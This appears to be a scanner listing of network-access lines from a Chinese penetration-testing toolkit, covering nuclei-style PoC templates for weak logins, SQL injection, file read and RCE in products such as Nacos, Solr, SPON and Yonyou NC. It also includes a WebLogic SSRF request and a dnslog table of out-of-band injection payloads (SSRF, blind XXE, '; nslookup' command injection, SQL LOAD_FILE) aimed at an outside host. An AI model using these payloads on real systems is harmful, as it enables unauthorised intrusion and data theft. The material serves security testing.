pocs/public/mqtt-weak-login.yaml
- Network accessline 15
MQTT tools. reference: - https://blog.csdn.net/qilei2010/article/details/122953569 - Network accessline 16
reference: - https://blog.csdn.net/qilei2010/article/details/122953569 - http://mqtt.p2hp.com/ - Network accessline 17
- https://blog.csdn.net/qilei2010/article/details/122953569 - Network accessline 18
- http://mqtt.p2hp.com/
pocs/public/nacos-derby-rce.yaml
pocs/public/nacos_token_secret_key_bypass.yaml
- Network accessline 8
Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。开源服务管理平台 Nacos 中存在身份认证绕过漏洞,在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。 reference: - https://github.com/L-ss666/NacosCheck - Network accessline 9
reference: - https://github.com/L-ss666/NacosCheck metadata: - Network accessline 10
- https://github.com/L-ss666/NacosCheck - Network accessline 14
publish_time: "2023-06-01" dangers_type: "认证绕过" bug_solve: "1、升级到最新版nacos:https://nacos.io;2、修改配置文件中secret key的值。" - Network accessline 15
dangers_type: "认证绕过" bug_solve: "1、升级到最新版nacos:https://nacos.io;2、修改配置文件中secret key的值。" bug_web: "https://nacos.io/" - Network accessline 16
bug_solve: "1、升级到最新版nacos:https://nacos.io;2、修改配置文件中secret key的值。" - Network accessline 17
bug_web: "https://nacos.io/"
pocs/public/ollama-api-unauth.yaml
- Network accessline 8
Ollama 是一个开源的大语言模型(LLM)运行环境和工具集,旨在帮助开发者轻松部署、管理和使用模型(如 DeepSeek 等)。如果 Ollama 直接暴露服务端口(默认为 11434)于公网,并且未启用身份认证机制,远程攻击者可以在未授权的情况下访问其高危接口。 reference: - "https://mp.weixin.qq.com/s/s5ySLrcSDP_adk_URce_Qg" - Network accessline 9
reference: - "https://mp.weixin.qq.com/s/s5ySLrcSDP_adk_URce_Qg" metadata: - Network accessline 10
- "https://mp.weixin.qq.com/s/s5ySLrcSDP_adk_URce_Qg" - Network accessline 14
publish_time: "2025-02-28" dangers_type: "越权访问" bug_solve: "1、限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。如无特殊需求,建议仅允许内网或通过 VPN 访问 Ollama 服务,从网络层面减少攻击面;2、配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问 - Network accessline 15
dangers_type: "越权访问" bug_solve: "1、限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。如无特殊需求,建议仅允许内网或通过 VPN 访问 Ollama 服务,从网络层面减少攻击面;2、配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。3、启用身份认证保护:如果业务需要开放 Ollama 接 - Network accessline 16
bug_solve: "1、限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。如无特殊需求,建议仅允许内网或通过 VPN 访问 Ollama 服务,从网络层面减少攻击面;2、配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。3、启用身份认证保护:如果业务需要开放 Ollama 接口供公网访问,务必为其添加认证机制。由于 Olla - Network accessline 17
bug_web: "https://ollama.com/"
pocs/public/phpmyadmin_setup_detect.yaml
- Network accessline 11
publish_time: "2025-08-28" bug_solve: "1、及时更新版本,确保phpMyAdmin版本是最新的;2、安装完成后,应移除phpMyAdmin setup目录。" bug_web: "https://www.phpmyadmin.net/" - Network accessline 12
bug_solve: "1、及时更新版本,确保phpMyAdmin版本是最新的;2、安装完成后,应移除phpMyAdmin setup目录。" bug_web: "https://www.phpmyadmin.net/" dangers_type: "未授权访问" - Network accessline 13
bug_web: "https://www.phpmyadmin.net/"
pocs/public/rabbitmq-default-password.yaml
- Network accessline 8
RabbitMQ 存在默认凭据漏洞,管理接口使用默认的 guest/guest 凭据,攻击者可利用该凭据登录 RabbitMQ 管理后台,获取消息队列中的敏感数据,甚至操控消息队列进行恶意操作。 reference: - "http://luckyzmj.cn/posts/15dff4d3.html" - Network accessline 9
reference: - "http://luckyzmj.cn/posts/15dff4d3.html" classification: - Network accessline 10
- "http://luckyzmj.cn/posts/15dff4d3.html"
pocs/public/realor-AgentBoard-sqli.yaml
- Network accessline 8
瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基于服务器计算(Server-based Computing)架构的应用虚拟化平台。瑞友天翼应用虚拟化系统AgentBoard.XGI接口存在SQL注入漏洞,攻击者可以利用此漏洞获得数据库和WEB主机权限。 reference: - https://github.com/projectdiscovery/nuclei-templates/blob/77e83398165d57e4ecaa4 - Network accessline 9
reference: - https://github.com/projectdiscovery/nuclei-templates/blob/77e83398165d57e4ecaa47ae44bbc3d05fdf1fab/http/vulnerabilities/realor/realor-gwt-system-sqli.yaml#L20 metadata: - Network accessline 10
- https://github.com/projectdiscovery/nuclei-templates/blob/77e83398165d57e4ecaa47ae44bbc3d05fdf1fab/http/vulnerabilities/realor/realor-gwt-system-sqli.yaml#L20 - Network accessline 14
publish_time: "2024-12-01" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:http://www.realor.cn/获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:http://www.realor.cn/获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "http://www.realor.cn/" - Network accessline 16
bug_solve: "1、关注厂商官网:http://www.realor.cn/获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 17
bug_web: "http://www.realor.cn/"
pocs/public/ricoh-weak-password.yaml
- Network accessline 7
description: Ricoh default admin credentials were discovered. reference: - https://ricoh-printer.co/default-username-and-password-for-ricoh-web-image-monitor/ - Network accessline 8
reference: - https://ricoh-printer.co/default-username-and-password-for-ricoh-web-image-monitor/ classification: - Network accessline 9
- https://ricoh-printer.co/default-username-and-password-for-ricoh-web-image-monitor/
pocs/public/ruijie-eweb-auth-rce.yaml
- Network accessline 13
fingerprint: 锐捷睿易路由 publish_time: "2022-06-14" bug_solve: 关注厂商官网:https://www.ruijiery.com 获取补丁或更新版本。 - Network accessline 14
publish_time: "2022-06-14" bug_solve: 关注厂商官网:https://www.ruijiery.com 获取补丁或更新版本。 bug_web: https://www.ruijiery.com/ - Network accessline 15
bug_solve: 关注厂商官网:https://www.ruijiery.com 获取补丁或更新版本。 - Network accessline 16
bug_web: https://www.ruijiery.com/
pocs/public/ruijie-nbr-ddi-arbitrary-file-upload.yaml
- Network accessline 7
description: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞 reference: - 'https://peiqi.wgpsec.org/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20fileupload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8 - Network accessline 8
reference: - 'https://peiqi.wgpsec.org/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20fileupload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html' metadata: - Network accessline 9
- 'https://peiqi.wgpsec.org/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20fileupload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html'
pocs/public/ruoyi-default-login.yaml
pocs/public/seeyon_oa_getajaxdataservlet_xxe.yaml
- Network accessline 11
publish_time: "2023-12-08" dangers_type: "XML 注入" bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" - Network accessline 12
dangers_type: "XML 注入" bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" bug_web: "https://www.seeyon.com/" - Network accessline 13
bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" - Network accessline 14
bug_web: "https://www.seeyon.com/"
pocs/public/seeyon_oa_ucpcLogin_reset.yaml
- Network accessline 11
publish_time: "2024-03-26" dangers_type: "未授权访问" bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" - Network accessline 12
dangers_type: "未授权访问" bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" bug_web: "https://www.seeyon.com/" - Network accessline 13
bug_solve: "请关注厂商官网更新补丁:https://www.seeyon.com/" - Network accessline 14
bug_web: "https://www.seeyon.com/"
pocs/public/shiro-deserialization-rce.yaml
- Network accessline 12
并通过 DNSLog 反连验证漏洞。 reference: - https://github.com/apache/shiro - Network accessline 13
reference: - https://github.com/apache/shiro - https://cve.mitre.org/cgi-bin/cvename.cgi?keyword=shiro+deserialization - Network accessline 14
- https://github.com/apache/shiro - Network accessline 15
- https://cve.mitre.org/cgi-bin/cvename.cgi?keyword=shiro+deserialization - Network accessline 16
- https://nvd.nist.gov/vuln/detail/CVE-2016-4437
pocs/public/solr-cve-2019-0193.yaml
- Network accessline 8
Apache Solr 的 DataImportHandler 模块存在远程代码执行漏洞。由于 DataImportHandler 的 dataConfig 参数支持通过 script 标签执行 JavaScript 代码,攻击者可构造恶意请求在 Solr 服务器上执行任意命令。 reference: - "https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193" - Network accessline 9
reference: - "https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193" classification: - Network accessline 10
- "https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193"
pocs/public/solr-fileread.yaml
- Network accessline 8
Apache Solr 存在任意文件读取漏洞,攻击者可通过开启 enableRemoteStreaming 功能并利用 stream.url 参数读取服务器上的任意文件,导致敏感信息泄露。该漏洞同时适用于 Linux 和 Windows 系统。 reference: - "https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb3 - Network accessline 9
reference: - "https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d935d186" classification: - Network accessline 10
- "https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d935d186"
pocs/public/solr_rce.yaml
- Network accessline 12
This template targets Apache Solr instances. reference: - https://www.cve.org/CVERecord?id=CVE-2021-44228 - Network accessline 13
reference: - https://www.cve.org/CVERecord?id=CVE-2021-44228 - https://logging.apache.org/log4j/2.x/ - Network accessline 14
- https://www.cve.org/CVERecord?id=CVE-2021-44228 - Network accessline 15
- https://logging.apache.org/log4j/2.x/
pocs/public/spon-default-login.yaml
- Network accessline 7
description: SPON世邦IP网络对讲广播系统存在默认口令漏洞(administrator/800823),攻击者可通过默认口令登录系统。 reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 15
publish_time: "2024-01-11" bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.spon.com.cn - Network accessline 16
bug_solve: 修改默认口令,密码最好包含大小写字母、数字和特殊字符等,且位数大于8位。 bug_web: https://www.spon.com.cn dangers_type: 默认口令 - Network accessline 17
bug_web: https://www.spon.com.cn
pocs/public/spon-exportrecord-fileread.yaml
- Network accessline 7
description: SPON世邦IP网络对讲广播系统exportrecord.php存在任意文件读取漏洞,攻击者可利用该漏洞获取服务器敏感信息。 reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 14
fingerprint: SPON-IP publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 15
publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 bug_web: https://www.spon.com.cn - Network accessline 16
bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 17
bug_web: https://www.spon.com.cn
pocs/public/spon-getjson-fileread.yaml
- Network accessline 7
description: SPON世邦IP网络对讲广播系统getjson.php存在任意文件读取,攻击者可通过此漏洞获取敏感信息。 reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 14
fingerprint: SPON-IP publish_time: "2021-08-24" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 15
publish_time: "2021-08-24" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 bug_web: https://www.spon.com.cn - Network accessline 16
bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 17
bug_web: https://www.spon.com.cn
pocs/public/spon-getuserdata-unauth.yaml
- Network accessline 7
description: SPON世邦IP网络对讲广播系统getuserdata.php存在未授权访问漏洞,攻击者可通过此漏洞获取账号密码敏感信息。 reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 14
fingerprint: SPON-IP publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 15
publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 bug_web: https://www.spon.com.cn - Network accessline 16
bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 17
bug_web: https://www.spon.com.cn
pocs/public/spon-uploadjson-fileupload.yaml
- Network accessline 7
description: SPON世邦IP网络对讲广播系统uploadjson.php存在任意文件上传漏洞,攻击者可利用该漏洞获取服务器权限。 reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Ue2JNvDE_qzlIKTf4FtrhQ" - Network accessline 14
fingerprint: SPON-IP publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 15
publish_time: "2024-01-11" bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 bug_web: https://www.spon.com.cn - Network accessline 16
bug_solve: 关注厂商官网:https://www.spon.com.cn 获取补丁或更新版本。 - Network accessline 17
bug_web: https://www.spon.com.cn
pocs/public/springboot_actuaor_unauthorized_access.yaml
- Network accessline 8
Checks 5 basePath prefixes ('', '/actuator', '/api/actuator', '/v1/actuator', '/admin/actuator') × 10 endpoints. reference: - https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html - Network accessline 9
reference: - https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html classification: - Network accessline 10
- https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html
pocs/public/swagger-api.yaml
pocs/public/thinkcmf-write-shell.yaml
- Network accessline 8
ThinkCMF 存在远程代码执行漏洞,攻击者可通过 index.php 的 fetch 方法注入恶意 PHP 代码,利用 file_put_contents 函数写入 WebShell 文件,从而获取服务器控制权。 reference: - "https://www.freebuf.com/vuls/217586.html" - Network accessline 9
reference: - "https://www.freebuf.com/vuls/217586.html" classification: - Network accessline 10
- "https://www.freebuf.com/vuls/217586.html"
pocs/public/tomcat-default-login.yaml
- Network accessline 7
description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations. reference: - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ - Network accessline 8
reference: - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ - https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt - Network accessline 9
- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ - Network accessline 10
- https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
pocs/public/tomcat-examples-login.yaml
- Network accessline 7
description: Apache Tomcat 10.1.0-M1 to 10.1.0-M16, 10.0.0-M1 to 10.0.22, 9.0.30 to 9.0.64 and 8.5.50 to 8.5.81 default login credentials were successful. reference: - https://c0nqr0r.github.io/CVE-2022-34305/ - Network accessline 8
reference: - https://c0nqr0r.github.io/CVE-2022-34305/ metadata: - Network accessline 9
- https://c0nqr0r.github.io/CVE-2022-34305/
pocs/public/vite-cve-2026-39363-fileread.yaml
- Network accessline 14
RPC requests, which cannot be done with Nuclei HTTP templates. reference: - https://github.com/vitejs/vite/security/advisories - Network accessline 15
reference: - https://github.com/vitejs/vite/security/advisories - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39363 - Network accessline 16
- https://github.com/vitejs/vite/security/advisories - Network accessline 17
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39363
pocs/public/vmware-vcenter-cve-2021-22005.yaml
- Network accessline 10
file, leading to remote code execution on the vCenter Server. reference: - https://www.vmware.com/security/advisories/VMSA-2021-0020.html - Network accessline 11
reference: - https://www.vmware.com/security/advisories/VMSA-2021-0020.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22005 - Network accessline 12
- https://www.vmware.com/security/advisories/VMSA-2021-0020.html - Network accessline 13
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22005
pocs/public/vmware-vcenter-jndi-rce.yaml
- Network accessline 7
description: VMware的众多产品受远程代码执行漏洞(CVE-2021-44228)的影响。未经身份验证的攻击者通过发送特别构造的数据请求包,可在受影响的 VMware 产品中执行任意代码。 reference: - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-r - Network accessline 8
reference: - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml classification: - Network accessline 9
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml - Network accessline 19
publish_time: "2021-12-10" bug_solve: "1、关注厂商官网获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、过滤相关的关键词,比如${jndi://*}。" bug_web: "https://www.vmware.com/" - Network accessline 20
bug_solve: "1、关注厂商官网获取补丁或更新版本;2、关闭互联网访问权限或限制页面访问权限;3、过滤相关的关键词,比如${jndi://*}。" bug_web: "https://www.vmware.com/" dangers_type: 命令执行 - Network accessline 21
bug_web: "https://www.vmware.com/"
pocs/public/weblogic-ssrf.yaml
- Network accessline 20
- raw: - | GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 HTTP/1.1 - Network accessline 21
- | GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 HTTP/1.1 Host: {{Hostname}} - Network accessline 22
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 HTTP/1.1 - Network accessline 24
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|
pocs/public/weblogic-weak-login.yaml
- Network accessline 7
description: WebLogic default login credentials were discovered. reference: - https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password - Network accessline 8
reference: - https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password - https://www.s-squaresystems.com/weblogic-default-admin-users-password-change/ - Network accessline 9
- https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password - Network accessline 10
- https://www.s-squaresystems.com/weblogic-default-admin-users-password-change/
pocs/public/xxljob-default-login.yaml
pocs/public/yonyou-nc-word-fileread.yaml
- Network accessline 7
description: 用友NC word.docx 存在任意文件读取漏洞,攻击者利用该漏洞可获取服务器敏感信息。 reference: - "https://blog.csdn.net/qq_56698744/article/details/134787642" - Network accessline 8
reference: - "https://blog.csdn.net/qq_56698744/article/details/134787642" metadata: - Network accessline 9
- "https://blog.csdn.net/qq_56698744/article/details/134787642" - Network accessline 13
fingerprint: 用友NC publish_time: "2023-12-08" bug_solve: 关注厂商官网:http://www.yonyou.com/ 获取补丁或更新版本 - Network accessline 14
publish_time: "2023-12-08" bug_solve: 关注厂商官网:http://www.yonyou.com/ 获取补丁或更新版本 bug_web: http://www.yonyou.com/ - Network accessline 15
bug_solve: 关注厂商官网:http://www.yonyou.com/ 获取补丁或更新版本 - Network accessline 16
bug_web: http://www.yonyou.com/
pocs/public/yonyou-nc-yerfile_down.yaml
- Network accessline 8
用友NC是用友网络科技股份有限公司研发的一款大型erp企业管理系统与电子商务平台。 用友NC yerfile存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。 reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BNC%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3yerfile_down%E5%AD%98 - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BNC%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3yerfile_down%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BNC%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3yerfile_down%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md - Network accessline 17
publish_time: "2024-12-07" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 18
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://yonyou.com" - Network accessline 19
bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 20
bug_web: "https://yonyou.com"
pocs/public/yonyouNC-checkekey-sqli.yaml
- Network accessline 8
用友NC中checkekey存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 reference: - "https://mp.weixin.qq.com/s/V3AO0sB48G9snAsrBaj3lQ" - Network accessline 9
reference: - "https://mp.weixin.qq.com/s/V3AO0sB48G9snAsrBaj3lQ" metadata: - Network accessline 10
- "https://mp.weixin.qq.com/s/V3AO0sB48G9snAsrBaj3lQ" metadata: fofa-query: [app="用友-UFIDA-NC"] - Network accessline 14
publish_time: "2025-01-10" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 16
bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 17
bug_web: "https://www.yonyou.com/"
pocs/public/yonyou_nc_doPost_SQL.yaml
- Network accessline 8
用友NC doPost 接口存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 reference: - https://mp.weixin.qq.com/s/M-9idKN2YzLx25AnRlZRRA - Network accessline 9
reference: - https://mp.weixin.qq.com/s/M-9idKN2YzLx25AnRlZRRA metadata: - Network accessline 10
- https://mp.weixin.qq.com/s/M-9idKN2YzLx25AnRlZRRA metadata: fofa-query: app="用友-UFIDA-NC" - Network accessline 13
fingerprint: "用友NC" publish_time: "2025-12-21" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 14
publish_time: "2025-12-21" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://yonyou.com" - Network accessline 15
bug_solve: "1、关注厂商官网获取补丁或更新版本:https://yonyou.com;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 16
bug_web: "https://yonyou.com"
pocs/public/zabbix-default-login.yaml
- Network accessline 7
description: Zabbix default admin credentials were discovered. reference: - https://openbaton.github.io/documentation/zabbix-server-configuration-3.0/ - Network accessline 8
reference: - https://openbaton.github.io/documentation/zabbix-server-configuration-3.0/ classification: - Network accessline 9
- https://openbaton.github.io/documentation/zabbix-server-configuration-3.0/
references/dnslog-usage.md
- Network accessline 5
`dnslog.py` 是 vibe-pentest 渗透测试中**OOB(Out-of-Band)漏洞验证的专用工具**,基于 [dnslog.cn](http://dnslog.cn) 服务实现 DNS 查询记录获取。 - Network accessline 19
| 漏洞类型 | 验证方式 | 典型 Payload 示例 | |----------|---------|------------------| | **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | - Network accessline 20
|----------|---------|------------------| | **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | | **盲 XXE(OOB)** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` | - Network accessline 21
| **SSRF(OOB 验证)** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | - Network accessline 22
| **盲 XXE(OOB)** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` | - Network accessline 23
| **命令注入(盲)** | 通过 DNS 查询确认命令被执行 | `; nslookup abc123.dnslog.cn` 或 `\| ping abc123.dnslog.cn` | | **SQL 盲注(OOB 外带)** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')` Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')` - Network accessline 24
| **SQL 盲注(OOB 外带)** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')` Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')` | - Network accessline 75
